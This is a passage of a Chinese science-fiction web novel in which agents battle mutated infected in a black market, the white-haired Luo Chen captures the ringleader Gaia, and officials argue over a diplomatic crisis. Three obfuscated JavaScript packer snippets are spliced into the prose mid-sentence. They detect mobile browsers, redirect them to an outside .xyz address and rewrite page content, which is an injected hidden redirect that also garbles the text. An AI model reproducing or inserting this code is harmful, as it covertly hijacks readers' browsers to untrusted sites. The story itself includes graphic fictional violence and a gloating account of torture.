眼看着那手下顺利抓到人，刚准备拽着人回头，“砰”的一声枪响，血花四溅，那人直接没了半个脑袋！ 顺风车在面前突然如此报废，连洛尘都不由得稍稍愣了一下，随即又立刻被顾知越护到身后。 是顾知越开的枪。 在进行调查任务时直接开枪杀人，这是违反规定的，枪响那刻即意味着任务失败。 身上暗处安置的执法记录仪立刻发出警告，顾知越干脆一把扯下丢掉，毫不犹豫连开数枪！ 这一变故明显打乱了盖亚那边人的进攻势头，而就在对方躲避的间隙，顾知越果断开启军队联络指示器，发送定位，以少将的身份发布权限内最高指令：“紧急情况，申请卫星舰武装打击。” 声音瞬间录入转送，识别、匹配、通过——远在太空之中的巡逻武装卫星舰得到指令，自动偏转方向定位，最高紧急指令达成，激光线顷刻发出！ “轰——！” 头顶和地面一齐震动起来，黑市所有非联盟人员的武器顷刻报废，四周灯光疯狂闪烁炸开，甚至距离顾知越最近的几人枪支直接爆炸，手臂一片鲜血淋漓！ 局势瞬间逆转！ “我靠！你疯了？！”看见这一幕徐牧大惊失色道。 巡逻武装卫星舰，联盟最先进的军队武器，分布在整个L星系，足以在三秒内对联盟任何地点进行精准打击，可一旦启用这个，即意味着军方介入，非必要战争不可使用，而顾知越面对这帮只能算是嫌疑人的家伙使用这种武器，那军事法庭都不用审了，直接判刑！ 顾知越快速清理完敌人，冷静道：“只是威慑级别的激光。” 威慑级别，仅会破坏武器，对生命体没有实质危害。 “那也不能——” “让外边蹲守的人赶紧进来，”顾知越打断徐牧，一脚踢开还挣扎着要上前的手下，快速上前，提枪对准被振动波及跌倒在地的盖亚，道：“安全局调查，你被逮捕了。” 此时地下的灯光灭了大半，到处忽明忽暗，盖亚的大多数手下都躺在地上翻滚哀嚎，死的死，伤的伤，血腥味逐渐弥散开来。 远处时不时传来人员的惊呼和杂乱的脚步声，估计警方的人已经顺利进入，由于刚刚的激光，黑市的武装设备全部报废，警方的围剿十分迅速，大势已去。 盖亚狠狠咳嗽了片刻，随后抬头看向对准自己脑袋的枪口，脸上依旧僵硬，他似乎根本不关心这东西，目光越过顾知越看向后方—— 此刻的不远处，唐彦羽按照徐牧的指示正扶着洛尘远离这里，洛尘头上的兜帽滑落，白发晶莹，眼角珠光，显得那身影异常瞩目。 “人鱼……” 盖亚丝毫不理会面前的顾知越和逐渐逼近的警方人员，而是死死盯着洛尘喃喃开口：“是人鱼啊……” 顾知越眉头紧锁，呵斥着让人安分点。 “人鱼啊……是希望啊……有希望了——” 这不明所以的话让顾知越莫名不安，紧盯着盖亚不敢有半分松懈，而正是因为如此，他没能注意到血泊中早已没有生息的帮派成员忽然轻微抽搐了一下，安静的血泊泛起一丝丝波澜。 后边的警方和调查组队员迅速前来和徐牧对接，恰好这时徐牧的电话响起，他手上正忙便干脆将通话屏幕打开。 “队长！” 徐牧扫了一眼，认出对方是之前负责送检证物的组员，随口问道：“怎么了，莱辛那边的组织检查报告出来了？是莱辛本人的吗？” 众人早有预测，莱辛八成已经死在家里了，只是走个流程拿证据而已。 可那组员脸色却有点怪异，顿了顿道：“是……算是莱辛，但、但是——” 发觉对方的异常，徐牧抬起头。 组员深吸一口气，神色紧张道：“但那也是感染体的……莱辛被感染变异了，就在当晚。” 当晚？怎么会？ 徐牧的思路还没能转过来，不远处突然爆发出一阵激烈的枪响，顾知越的声音骤然传来：“立刻撤退！！” 人员的惊呼声和感染体的嘶吼声一同炸裂泼洒开来，刺耳瘆人的声音瞬间充满整个地下层！ 徐牧转头，只见盖亚身边那近十名手下，不管是受伤还是死亡了的，甚至刚刚那个没了半个脑袋的，全部在极短的时间变异，几乎是瞬息之间便成为了完全异化的感染体，嘶吼着朝着人群扑来！ “防御！让人员疏散撤退！！” ——— “要死要死啊啊啊啊……” 唐彦羽远远看见这一幕吓得不轻，但又不敢大声呼喊，只能低声崩溃。 盖亚帮派的许多人莫名在短时间异化成感染体，这场景可比莱辛那一次还要刺激。 不幸中的万幸，警方的武装部队先前就已经部署，虽然感染体属于意外，但还算有能力可以抵御，徐牧立刻让非武装人员疏散并申请支援，顾知越也第一时间对感染体进行了拦截击杀，勉强不至于让局面彻底沦陷。 本来唐彦羽分配到的任务是带着洛尘一块儿撤退的，但洛尘半路离开队伍闪身躲到了地下层的角落，看样子并不打算走，唐彦羽浅浅左右为难了一下，最后还是着急忙慌地跑上去跟着对方。 “我们……你要做什么吗？”唐彦羽小心翼翼询问道。 洛尘看着远处交战的双方，警方虽然装备还算充足，但毕竟不属于正规军队，面对感染体顾知越也只敢保守作战，稳住队形边打边退，尽量控制住局面等待援助。 洛尘忽然淡声提醒道：“盖亚。” 唐彦羽听见这个愣了一下，下意识看向原本盖亚所处的地方，那里本就光线昏暗，此刻更是群魔乱舞，要知道盖亚身边的人是第一批变异的，按理说这会儿他要么已经变异要么早就被啃了，所以压根没人在意。 唐彦羽听对方提到他，试探性问道：“盖亚……他还活着？” 洛尘笃定道：“他跑了。” 不仅没有死，还在感染体肆虐环绕的地方逃跑了。 唐彦羽一愣：“什么？” 洛尘微微皱眉，随后立刻动身，戴上帽子遮盖长发，简短道：“在这儿躲好。” 下一刻他的身影迅速融入黑暗，毫不犹豫踏入那片混乱的地界。 ——— 警方并不指望能把这里混乱的感染体全部清除，目前只求不扩散，边打边退，尽力为地下层的人员撤退争取时间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029880|162298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而在警方早已撤离放弃的三层深处，薛瑞躲在黑暗的角落，拼命压制住呼吸和心跳。 他的腿上有枪伤，刚刚发生意外撤退的时候实在跟不上大部队，只能眼疾手快躲到了这个角落，近距离看着那些凶残的感染体，他一边心惊胆战一边祈求自己撑到军队的人过来清理。 默默听着警方的枪声和人声越来越远，薛瑞心中逐渐升起一股绝望，但还是强行打起精神。 眼看着不远处晃悠的感染体慢慢远离，他不由得稍稍松了一口气，然而气还没吐完，头顶忽然传来“啪嗒”一声，像是水滴坠落，滴在面前的地上。 那水滴漆黑，隐隐传来难闻的气息，薛瑞大脑空白了一瞬，随后机械性地缓缓抬头—— 感染体正悬在头顶的架子上，脸正中间的一只巨大的眼珠一错不错地盯着薛瑞，微微张口，黑色的粘液从獠牙中流出低落到地上。 薛瑞的呼吸暂停，无法思考也无法做出任何动作，就这么和感染体面面相觑，眼角无意识地溢出泪水。 下一刻感染体嘶吼一声，那张口瞬间裂开张大，从高处跳下直接朝着薛瑞扑去！ “咔——噗呲！” 血肉和骨骼被生生斩断的声音异常沉闷，黑色的血液溅到薛瑞的脸侧，很难闻也很烫但并不疼，他有些茫然的眨了眨眼睛—— 方才那一刹那，侧边忽然出现一道光影横劈而来，如天降雷霆，势如破竹，一击就斩断感染体的头颅！ 那只喷血的畸形脑袋咕噜滚落，强大的生命力让感染体的身躯还挣扎着要攻击，而那刀刃毫不犹豫转变方向，力道丝毫不减直接刺入它的脖颈，然后自上而下一举剖开，几乎把这怪物一分为二！ 黑色的血液疯狂涌出，不过几个眨眼，刚刚还暴虐恐怖的怪物就这么彻底死在眼前！ 薛瑞的理智尚未回来，他感觉自己一会儿清醒一会儿迷糊，眼角一阵阵地抽搐，眼前一片模糊，随后出于本能地想开口喊出些什么：“救、救……救——” 这时薛瑞忽然感觉自己被人拎着衣领提起来，眼前出现一片纯净的白色，这颜色如同落雪在心间，勉强让他冷静了一点，再一抬眼便和一双血色含笑的眼眸对上。 “嘘。” 洛尘伸出食指放到唇边示意安静，眉眼从容，笑意清浅。 薛瑞虽然脑子宕机但还是立刻照做闭嘴，然后呆愣愣地盯着人。 洛尘笑了笑，没管他的目光拎着人快速远离此处。 另一边留在原地的唐彦羽正左右来回踱步，他不知道洛尘让他留在这里干嘛，但还是乖乖待着。 正当唐彦羽暗自着急恨不得也冲进危险区的时候，前方的黑暗中突然有一道身影飞来，不等他反应过来唐彦羽就被迫接住了对方，一个踉跄差点没带着对方摔个大跟头。 “带着他一起上去，就现在。”洛尘从容走出黑暗，颔首示意了一下。 唐彦羽定睛一看，自己接住的竟然是之前的薛瑞，他愣了一下，随后抬头询问道：“那你……” 可话还没问出，洛尘已经转身再度步入混乱的黑暗中。 唐彦羽明白对方的意思，也知道自己几斤几两，顺从指令扶着薛瑞准备跟上大部队撤退，而薛瑞还是一副没完全回过神的模样，一直盯着洛尘离开的方向，哪怕早已没了人影也不移开半分。 “喂，喂！”唐彦羽拍了一下对方。 “嗯？！”薛瑞勉强回神，愣愣地看了看唐彦羽，随后第一时间指向洛尘的刚刚位置，急切道：“他、他——” 那眼中有劫后余生的惊喜，但又掺了不少难以抑制的惊艳。 唐彦羽自然明白这种感觉，莫名心中有些微妙，强行把人拉走，沉声道：“别看了，你买不起！” 16. 两方行动 此刻整个黑市附近已经完全被包围，内外部一片混乱，人声和枪声一直未停，无数支援的车辆也正往那里赶去。 而在距离黑市中心千米远的废城区，寂静荒芜的巷子中忽然传来一丝动静，随后巨大的石板被强行推开，一个感染体猛然跳了出来，惊得几只老鼠四处逃窜然后下一秒就被感染体无差别地杀死。 确保周围已经没有活物后，盖亚从里边慢慢爬了上来。 他的身上几乎没有任何伤口，感染体也没有对其进行袭击，不远不近地跟着，仿佛随行的保镖。 不过盖亚对这东西似乎还有所防备，面对它的时候表情十分不自然。 顺利离开黑市，且料定这个密道警方一时半会儿也发现不了，盖亚终于松了口气，刚准备继续前进，身后的密道内却忽然传出脚步声。 不是慌乱的逃窜也不像暗中的跟踪，这脚步声没有丝毫要掩盖意思，十分悠然稳健，由远及近信步而来。 盖亚不由地愣了一下，错愕与疑惑涌上心头，回头看向那黑暗的密道，一时竟没反应过来。 感染体没有理智思维，面对外来者第一时间发动进攻，黑色的怪物嘶吼一声，随后四肢并用如恶虎般扑向即将从密道出现的人影—— “蹭——！” 刀光与血光一同出现，感染体脸上的眼珠瞬间被劈斩得稀烂，失去平衡接着被一脚踢开！ 巨大的感染体狠狠砸到巷子侧边的墙上，老旧的墙壁轰然倒塌，扬起一阵尘土。 此时密道中的来者也终于现身，血色的眸子在阳光下甚是好看，斗篷上沾有不少黑色的血迹，但那白发依旧绮丽纯净，脸上看不出一点恶战后疲惫的模样，仅握着一把短刀，从容走出。 看清对方样貌的那刻，盖亚那张惨白僵硬的脸都霎时变了神色，下意识后退一步。 “怎么，”洛尘随意摆弄了一下手上的短刀，玩笑道：“你不是在找我吗？跑什么？” 刚刚被击倒的感染体尚未死亡，从砖块中挣扎起身再次袭击，张开血盆大口瞬间吐出一条诡异的长舌，如同长鞭一般朝着人袭来。 可面对这东西洛尘都没有给多少眼神，稍稍侧身躲过，刀锋偏转，反手就挑断了那舌头！ 甚至他还在一边攻击一边对着盖亚问话：“你来这儿是想和什么人接头？这些感染体是可以被控制的吗？” 失去了一只眼珠和舌头，感染体的嘶吼声又痛苦又愤怒，猛然跳跃起来冲刺。 洛尘：“那个实验又到底是什么东西，和异种有什么关系？” 横冲直撞来的感染体被一刀精准刺中脖颈处的眼珠，短刀深深刺入贯穿咽喉，强大的力道让它直接翻到在地！ 血液从脖颈处喷涌而出，洛尘微微后倾避开血水喷溅，全程一直看着远处的盖亚，手上短刀一转再次扩大致命伤口，然后毫不犹豫拔出。 “还有最重要的一个问题，被你们抓的异种人到底去哪儿了？” 洛尘面色从容，一脚踩烂了感染体脑袋旁最后的一个眼球，对着盖亚轻声道：“时间有限，我建议你快点说。” 亲眼看着一只完全变异的感染体被人如此随意而轻松地杀死，盖亚满眼惊恐，面对洛尘的询问只犹豫了一秒紧接着立刻转身逃跑！ “噗呲”一声，盖亚只感觉胸口一阵剧痛，随后整个人被一股力量击飞狠狠砸到地面—— 一柄短刀飞来，直接刺穿他的胸口然后把人钉死在地面上！ “你不会感觉自己还能跑吧？” 洛尘不慌不忙地走过来，好整以暇地看着地上惊慌失措的人，弯腰握住刀柄，在对方惊恐的目光中一举将短刀拔出。 “咳啊！” 胸口的致命伤瞬间扩大，盖亚痛苦咳嗽起来，更多的血水流出。 冷眼看着人流血挣扎了一会儿，洛尘确定了猜想：“果然，这都没死，你也是个不人不鬼的东西啊。” 一般人受了这种伤不死也休克了，盖亚却活到现在，他的身体绝对不正常，联系一下黑市莫名变异的人和所谓的研究，多少能猜到些东西。 “你们是在研究感染体吗？想获取感染体那种强大的生命力或者是尝试操控它们？” 盖亚满脸猩红，大概是穷途末路，他反而眼神变得凶狠起来，嘶哑道：“恶心的异种，你们才是不人不鬼的东西！” 没有太多其他理由，单纯对异种天生的厌恶憎恨。 洛尘神色不改，对着盖亚的脑袋狠狠踢了一脚，“这不是我问题的回答，重新说。” “你想知道什么？那些异种去哪儿了？想去收尸吗，那你就想多了，那些虫子已经成灰了，慢慢的，哀嚎着、尖叫着，磨成灰了哈哈哈！” 听到这句，洛尘的目光微动，缓缓蹲下身看着面前这个如同丧尸的人，道：“全部？” “对！全部！那些东西全都死了！那些恶心的鬼东西，全成灰了！一点一点，从血肉到骨头切开慢慢磨，慢慢死，该死，全部该死！！” 像是触及到什么记忆，盖亚在这种情况下甚至兴奋起来，癫狂而扭曲的模样完全是个疯子，凭借经验洛尘一眼看出对方八成是神经被病毒污染，现在精神紊乱，说的话没太多参考价值。 按照正常流程应该把他带走后进行相关精神治疗，等人恢复理智大概还能套出些有用信息。 然而听着盖亚一遍遍重复着杀人的手段，洛尘的眼神不由变冷，手上的短刀慢慢偏转方向…… 他该死。 下一秒，像是忽然察觉到什么，洛尘手上一顿，毫无预兆地抬起头看向巷口—— “洛首席，军区第二行动小组，领命就位。” 这荒废僻静的巷子里不知何时出现一行人，他们恍若凭空出现，身穿制服，训练有素，为首那人十分恭敬地向洛尘低头行礼。 洛尘对他们的出现并不意外，冷冷道：“你们来得太晚了。” 这带有问罪的语气让领队赫卡的头更低了，立即请罪道：“抱歉，潜入边境和调查多花了些时间。” 洛尘没有多言，把脚边那个半死不活还在嚷嚷的盖亚踢过去，那群人立刻会意，迅速上前一击就让对方彻底没了声音。 “罗凯呢？” “罗上校的身份实在不适合潜入，他目前和胡部长在一起，现下应该在前往星际总会议厅的路上，帝国外交部已经准备好了，相关文件也已经递交。” 洛尘又扫了一眼盖亚，颔首示意道：“行，那现在说说你们的调查吧，这家伙说的话有几分真几分假？” “我们确实找到了黑市的那个‘实验室’，设备十分简陋，看起来只是临时搭建的地方，一些来路不明的药物也已经收集准备检测，至于受害者……” 赫卡停顿了一下，接着道：“这个人没有说谎，那个实验室里确实会把受害者的血骨用特殊方法磨成粉末，不清楚是想做什么实验，目前只发现了两名受害者，一人重伤，另外一人已经死亡。” 此话一出，洛尘的眼神忽变，周围气压瞬降。 “不过，”赫卡又赶忙道：“那两人都不是我国的公民，他们都是混血。” 存护帝国还未建立的时候人类和异种大量混居，自然也出现了不少混血，后来一部分混血主动去了存护帝国，一部分自愿留在联盟。 经过这么多年，一般联盟的混血早就没多少异种的基因了，而且也属于联盟的公民，想不到还会被盯上。 但这也证明，黑市这个所谓的实验室大概是盖亚自己偷偷搞的，找不来异种人只能找混血，而真正失踪的异种人应该就如莱辛说的那样，被送到首都的一个实验室。 洛尘又看了一眼匍匐在地上疯疯癫癫的盖亚，猝不及防道：“那个重伤的受害者呢？” “已经送去医治了，暂时应该没有生命危险。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029881|162298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 洛尘点了点头，然后指了指盖亚，沉声道：“不管你们用什么办法，把这家伙带走，不要交给联盟，尽快给他精神治疗让他清醒过来。” 赫卡愣了一下，试探性问道：“清醒后进行审问吗？” “不，”洛尘果断否定，眼中冷冷，“他没有价值，不需要审问，让他清醒地去死！” 盖亚和莱辛一同为幕后之人办事，盖亚身体的感染程度只会比莱辛还重，不用指望能说出些什么。 而这种情况下特意把盖亚带走，不需要威逼利诱的审讯，也不需要顾及其性命，治疗他的唯一目的就是让他脑子清醒地感受死亡！ 赫卡顿了顿，没有多少犹豫立刻领命：“是。” 后边的密道隐隐传来声响，估计是警方已经控制住了黑市的局面，这会儿发现密道寻了过来。 洛尘瞥了一眼身后，安排道：“联盟的人快过来了，后续你们处理，就当我没来过这儿。” 赫卡抬头：“您不和我们一起吗？” “不，”洛尘随手扔掉短刀，行动组得到指令，无声且迅速地开始清理现场痕迹，“我还有事，你们自己解决。” “是。” 听着密道里的声音越来越近，洛尘眼中的血色逐渐褪去，径自朝着巷子外走去，离开的最后转身道：“对了，告诉胡卿，这次的外交他自己看着办，不过让他小心点，我会盯着他的，要是处理不好就让他滚回学校再读三年。” 胡卿是存护帝国的外交总部长，政坛上举足轻重的人物，可洛尘的语气却仿佛是在训斥小孩，当众也半点不留情面。 对此赫卡没有丝毫的错愕，立刻点头应下，待再次抬头巷子里已经没有了洛尘的身影。 不多久密道内出现人影，嘈杂纷乱的声音涌出，联盟的先遣部队第一时间上前，武装无人机也迅速飞出，所有武器全部对准了赫卡的小队。 小队的人没有一丝惊慌，安静地面对众人，像是早早在等待。 “人员身份检测无果，警告！立刻放下武器，交出嫌疑人，一次警告！” 无人机面对这群未知身份的人员立刻发出警告，而赫卡面色不改，没有反抗也没有顺从，十分冷静地出示身份：“存护帝国行动组，执行公务，警告无效。” 声音沉稳极具穿透力，触及敏感词，在场所有人都愣了一下，先遣部队一边警惕一边立即向上汇报情况，随后徐牧和顾知越也从密道内快步走出。 看见不远处死去的感染体时，顾知越的脚步稍稍顿了顿。 “存护帝国？” 徐牧看着站在包围圈里还坦然自若的赫卡一行人，脸色稍变，“你们在这里执行公务有联盟的授权吗？” 赫卡如实道：“没有。” 按理说存护帝国的行动部队私下进入联盟属于违反公约，联盟完全有理由进行强制驱逐。 但徐牧现在不太确定存护帝国对于黑市和绑架的事知道多少，莫名心虚，有理也变没理，看了看他们手上半死不活的盖亚，委婉道：“那你们不该在这里执行公务，那个是我们的嫌疑人，可以把他交给我们吗？” “不行。” 徐牧眉头紧锁：“那你们要做什么？” 赫卡冷漠道：“联盟的各位无权得知。” 徐牧还想据理力争一下，这时赫卡忽然抬手点了点自己的耳麦，意有所指道：“有通知。” “什么？”徐牧正疑惑，通讯屏幕忽然强制弹出，联盟安全局发布SS级紧急文件—— 编号1992失踪案的相关成员全部返回，任务信息疑似泄露，外交部收到存护帝国一级警告文书，星际委员会联合各部门召开紧急会议！ …………！ 徐牧一把将通讯屏幕关闭，脸色极差，偏头看向一旁的顾知越，咬牙道：“得——埋的雷炸了！” 还特么就炸在自己手上！！ 17. 外交使团 事态严重，人员遣返还要一定时间，委员会等不及先行召开会议，不能到场的人员就用实体投影参加，大厅内吵吵嚷嚷，一刻不能停歇。 “这件事到底是怎么泄露的，安全局的保密系统是摆设吗？还是说你们底下的人都是摆设？” “现在纠结这个还有个什么用？再说这事都已经瞒了多久了，瞒不住是迟早的事！” “那也不代表就可以不追究你们失职的问题。” “差不多得了，不说失踪的事，边缘星球那个黑市也迟早暴雷，那儿的受害者调查下来可都是联盟公民，其中有几个还被登记了失踪，但却无人处理上报，我倒想问问你们治安管理局在干什么？！” “不是，我早说了这事不能瞒，这下好了，存护帝国那边一借题发挥，这事能善终？” “你得了吧，说得好像早点告诉就不会借题发挥了一样，而且当时又不是没开过会讨论，怎么之前没见你说话，在这儿当什么事后诸葛！” “出了这种大事还瞒着我们外交部，对面一通文件都快指着我们鼻子骂了还不好反驳，你们怎么想的？？” “但凡你们外交部真有点用都不至于被瞒着，这几年和存护帝国交锋，不管有理没理，你们哪次不是被指着鼻子骂！” ………… 各部门的人互相甩锅、互相指责，大厅内一片混乱，说是开会不如说是在单纯吵架。 徐牧和顾知越以线上投影的方式出席了会议，坐在其中沉默地听着众人争吵，徐牧的头一阵阵疼，偏偏还不能离席。 “行了！这是开会还是菜市场吵架？！”解临江首先听不下去，高声打断争吵。 此话一出，众人也察觉失态，稍稍安静下来。 解临江将目光落到徐牧那边，首先询问道：“徐组长，这事你有什么想说的？” 失踪案目前由徐牧负责，他自然属于相关责任人。 眼看果然问罪到自己头上了，徐牧心里冷笑一声，道：“抱歉啊，我们组是上周‘刚刚’接到这个任务的，我实在不知道说什么。” 话里话外暗示委员会不当人丢烂摊子给他，还想他背锅。 这意思大家心知肚明，解临江皱了皱眉又追问道：“你们追查到黑市，但那个主谋却没能逮捕导致线索中断，这又是怎么回事？” 徐牧这下是真气笑了，道：“不然呢？让我一个调查组组长去和存护帝国的军区行动队抢人吗？” 一旁有人反驳道：“顾少将不是也在场吗，为什么不试试谈判？” 徐牧立刻道：“都那种地步了还谈判什么，但凡动手外交部收到的就不是警告文书了，是宣战文书！” 解临江身边一人又看了看镇定自若的顾知越，故意提道：“说起来，顾少将，我这里收到消息，你在黑市执行任务的时候擅自启用了巡逻卫星舰，这点你有什么要解释的吗？” 顾知越抬眼，冷静道：“黑市内出现感染体，紧急情况下启用并不算违反规定。” “可据我所知，你在感染体出现之前就动用了卫星舰。” 顾知越追问：“从何处得知？” “自然是现场的目击者。” 顾知越毫不犹豫道：“当时十分混乱，目击者未曾看清。” 那人不依不饶：“顾少将这么笃定有证据吗？这只是你一面之词。” 顾知越淡声道：“你同样没有证据，也不过是一面之词。” 如此不给面子地被怼了几下，那人心中不快，沉声道：“顾少将，如果在军事法庭上你也要这么诡辩吗？随意启用卫星舰可是重大失职，三个以上的目击者愿意证明的话足以立案调查。” 面对这个威胁顾知越面色平静，淡定自若道：“请随意。” 越是淡定的语气越是给人感觉不屑，眼看那人就要发作，另一边忽然传来一阵敲击桌面的声响，随后是一道沉稳的声线：“够了，在行动之前我已经给了调查组最高权限，有什么问题就来找我。” 是曹源发话了。 曹源作为委员会老牌势力说话自然有分量，那人讪讪闭嘴，不过解临江却看了对方一眼，开口道：“曹委员，你这个做法是否有徇私的嫌疑？” 两方政见不合，真的是无时无刻不在找茬。 曹源瞥了他一眼，沉默片刻后竟然主动承认：“若说完全没有听着也假。” 但紧接着他又忽然起身，双手撑着桌面，沉声道：“但大家先想想造成这局面的原因吧，委员会一心隐瞒不肯放权，外交部左右顾及，安全局和管理局互相推脱，调查不利，只想着撇清关系。” “而出事的边境星球资源匮乏无人问津，导致管理一塌糊涂，过往必定有徇私舞弊，否则一个违法的黑市都敢明晃晃地办了这么多年？人员失踪不予理会，调用信息难上加难，当地警方和监察局左右拉扯，军部事不关己高高挂起……一通乱账！” 遮羞布被狠狠拽掉，会议厅彻底安静下来，众人不语。 曹源叹了口气，接着道：“事到如今了，各位再怎么推脱责任存护帝国那边也不会当作没事一样转头就撤回警告离开，现在全力准备外交才是正途，不管存护帝国是想谴责、调查，甚至是挑起战争，我们都该有准备，而不是在这儿内乱！” 一番话有理有据，众人终于冷静下来，沉默了片刻，点头认同。 “外交部尽快准备接待存护帝国的来使，有需求尽管提，此事说到底还是联盟理亏，能议和的话还是尽量议和，管理局全力协助。” “安全局注意近期的治安和舆论，尽可能控制住不要造成恐慌。” “同时也要做好最坏的打算，如果真的开战军队一定要立刻部署到位……” 如此有条不紊地安排下来，众人也算是找到了主心骨，开始领命行动起来，最后曹源看向了顾知越和徐牧，嘱咐道：“你们尽快返程，不要逗留……” 说着曹源呼出一口气，语气缓和了一些，郑重道：“这一路调查辛苦了。” 这算是给足了面子，也给足了底气，顾知越点头致意：“曹委员言重了。” 这下再无人追责，基本安排妥当后会议顺利结束，环绕3D影像关闭，四周恢复成原本的飞船休息室。 “终于结束了——” 重获自由的徐牧直接“噗通”一声把自己摔进沙发里，有气无力道：“真的是烦死了，多亏了曹叔叔，不然还不知道要被骂到什么时候，事是不干的，锅是要甩的，刺是要挑的，就离谱！” 徐牧心中愤愤不平，瘫在沙发上一股脑儿地控诉，然而却迟迟没听见对方的回应，奇怪地抬头看过去。 只见顾知越正调出悬浮屏幕鼓捣着什么东西，压根没听自己讲话。 徐牧稍稍坐起身，道：“你干嘛呢？开半天会你竟然不累吗？” 起身后他才发现，屏幕上是各种甜品分类，顾知越看样子正在点单。 精心挑选完甜食，顾知越看了一眼徐牧道：“我去看看小尘。” 望着同一战线的战友满心满眼都在别人身上，丝毫不关心自己的死活，徐牧控诉指责道：“重色轻友！” 顾知越面无表情地反驳：“没有。” 然而下一秒徐牧又神色一改，一个鲤鱼打挺从沙发上起来，溜达溜达甚至比顾知越快一步跑到前头，欣喜道：“我也去看看小尘，看见可爱的小尘可以净化一下心灵，顺便抱一抱那就更好了。” 顾知越：“……” 最后的结果是顾知越反手把徐牧锁在了休息室，坐实了自己重色轻友的名头，开开心心地一个人去找小尘了。 ——— 星域坐标4513,2110。 联盟与存护帝国来往的星际轨道上，一艘属于存护帝国的飞船正在全速航行。 “黑市抓到的那个嫌疑人经过检查精神已经重度污染，但奇怪的是身体的污染指数却很低，不符合正常理论，准备送回帝国进一步检查治疗……” 飞船主屏幕上，赫卡正在总结任务情报，一名男子靠坐在桌旁，一边随手翻着资料一边听着。 男子眼角上挑，有些玩世不恭的邪气，但举手投足间又有种上位者的从容，听到这儿抬眼道：“这家伙也就是个小喽啰，费这功夫治了干嘛，直接弄死不还省事。” 胡卿，沙漠狐基因异种人，现担任存护帝国外交部长，算是联盟目前最头疼的存在之一。 赫卡顿了一下，斟酌道：“胡部长，这是首席的意思。” 此话一出，胡卿面色忽变，顿了一下，那种懒散的气质瞬间消失，甚至变得有几分拘谨，正色道：“你碰见首席了？” 而在胡卿后边的沙发上，一个脑袋也忽然探出来，看样子这人刚刚是躺在那边休息，听见声音慌忙起身：“老师……首席他说什么了吗？？” 赫卡猛然看见探头的人愣了一下，认出来后恭敬道：“罗上校。” 罗凯，花豹基因异种人，现担任存护帝国军区防卫部长官。 见两人急切的样子，赫卡也立即如实道：“首席抢先我们一步击杀了跟随的感染体，并顺利拦截嫌疑犯，对我们的行动速度有些不太满意，还追问了罗上校的去向。” “不满意”这个词一出现就如同晴天霹雳，罗凯一脸完蛋的表情，按住头默默崩溃道：“完了完了，早知道就和行动组一起了，我就不该和你一道儿……” 胡卿嫌弃道：“怪我喽？” 接着赫卡又道：“首席还让带话给胡部长。” 胡卿立即警觉起来。 赫卡思考了一下，选择原话复述：“首席说‘这次的外交他自己看着办，不过让他小心点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15029882|162298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我会盯着他的，要是处理不好就让他滚回学校再读三年’。” 胡卿：“……” 这么一对比，罗凯心理平衡了，甚至伸出手同情地拍了拍胡卿的肩。 看着平时运筹帷幄、处变不惊的两位负责人此刻生无可恋的模样，赫卡倒是见怪不怪，规规矩矩地道别然后迅速退下。 通讯挂断，两人单单消化那几句话就花了半天，好不容易缓过来，罗凯小心翼翼地看了看四周，压低声音道：“你说，老师会不会就在附近盯着我们啊？” “怎么可能！” 胡卿嘴上这么说，但还是下意识环顾了一下四周。 “这案子肯定惹得老师生气了，联盟真的是作死，我们还外交个什么，干脆直接打吧，又不是怕他们。”罗凯愤愤提议道。 “老师的意思肯定不是想打仗，否则不会选择留在联盟不回来，况且一旦打起来失踪的人就真的永远回不来了，这不是老师想看见的，所以此次外交要的不是去找回面子或者单纯谴责，我们要的是让失踪的人能平安回来。” 胡卿理性分析道：“再者这事说到底也不全是联盟的错，失踪一事的内幕他们也不知情，甚至依照调查记录来看，联盟自己那边也死了不少人，目前看来这事真正的起因不是针对异种的歧视，而是和感染体有关。” 说到这儿胡卿呼出一口气：“感染体是我们和联盟共同的敌人，这是绝对的，而敌人的敌人……不说是朋友，至少暂时当个同盟还是可以的。” 罗凯皱了皱眉，试探性道：“你的意思是……建交？” 胡卿将电子文书修改了一下，随后发送，道：“我想这也是老师的意思，救出人才是重中之重，未尝不能合作。” 甚至于可以成为一个机遇，结束近百年来僵化的星际外交环境。 “当然，”胡卿又话锋一转，道：“这次是联盟理亏犯蠢，该骂骂，该施压施压，高低要往死里坑一波！” 对此罗凯举双手赞同。 两人正议论，飞船系统忽然收到讯息，随即开启播报：“最新通知，联盟外交部发来入境许可，接应大使已在航线等候，预计十分钟后即可会面。” 罗凯奇道：“这才到了联盟星系边缘吧，外交接应跑这么远的？” 